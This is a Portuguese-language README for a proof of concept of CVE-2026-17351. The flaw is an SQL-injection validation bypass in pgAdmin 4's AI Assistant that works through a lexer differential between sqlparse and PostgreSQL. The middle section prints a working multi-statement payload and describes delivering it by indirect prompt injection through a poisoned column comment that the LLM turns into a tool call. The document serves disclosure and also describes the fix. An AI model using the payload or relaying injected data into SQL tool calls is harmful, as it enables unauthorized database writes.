
Prova de conceito demonstrando o bypass da injeção de SQL CVE-2026-17351 no AI Assistant do pgAdmin 4 por meio do diferencial de lexer sqlparse/PostgreSQL, incluindo a entrega de injeção indireta de prompt.
PoC para CVE-2026-17351, um bypass crítico (CVSS 9.0) de injeção de SQL no Assistente de IA do pgAdmin 4.
As versões 9.13 a 9.16 do pgAdmin 4 usam a biblioteca sqlparse do Python para validar que consultas SQL geradas por LLM sejam instruções únicas e somente leitura. Com standard_conforming_strings = on do PostgreSQL (o padrão desde o PostgreSQL 9.1), o sqlparse e o PostgreSQL divergem sobre como as barras invertidas dentro de literais de string são tratadas. Isso permite que um atacante crie um payload que passa na validação do sqlparse como um único SELECT, mas que é executado como quatro instruções no PostgreSQL — incluindo um COMMIT que encerra a transação somente leitura e instruções de escrita subsequentes.
SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --'
SELECT com um grande literal de string → a validação passaSELECT '\' + COMMIT + CREATE TABLE pwn(x int) + SELECT 1 --'O payload é entregue via injeção indireta de prompt: o atacante o insere dentro de um objeto de banco de dados (comentário de coluna, valor de linha, definição de view) que o Assistente de IA lê. Quando um usuário legítimo faz uma pergunta, o LLM lê os dados envenenados e os emite como uma chamada de ferramenta execute_sql_query.
| Arquivo | Descrição |
|---|---|
poc.py | Demonstra o diferencial do lexer: a validação do sqlparse passa, o protocolo de consulta simples executa múltiplas instruções, o protocolo de consulta estendido as bloqueia |
prompt_injection_demo.py | Simula a cadeia de ataque completa: payload inserido como comentário de coluna → LLM simulado o lê → validação passa → execução |
pip install psycopg[binary] sqlparse
Você também precisa de uma instância PostgreSQL em execução (14+):
docker run -d --name pg-poc \
-e POSTGRES_PASSWORD=secret \
-e POSTGRES_DB=testdb \
-p 5433:5432 \
postgres:18
# Main PoC — lexer differential demonstration
python3 poc.py
# Prompt injection delivery demo
python3 prompt_injection_demo.py
# Custom connection parameters
python3 poc.py --host 10.0.0.5 --port 5432 --user postgres --password mypw
A correção força o uso do protocolo de consulta estendido do psycopg3:
conn.prepare_threshold = 0 na conexão dedicada do LLMprepare=True para cursor.execute()Isso torna a etapa Parse do próprio PostgreSQL a autoridade nos limites das instruções — ela rejeita estruturalmente qualquer texto com múltiplas instruções, independentemente de como um lexer do lado do cliente o classifique.
Este PoC destina-se apenas a fins educacionais e de testes autorizados.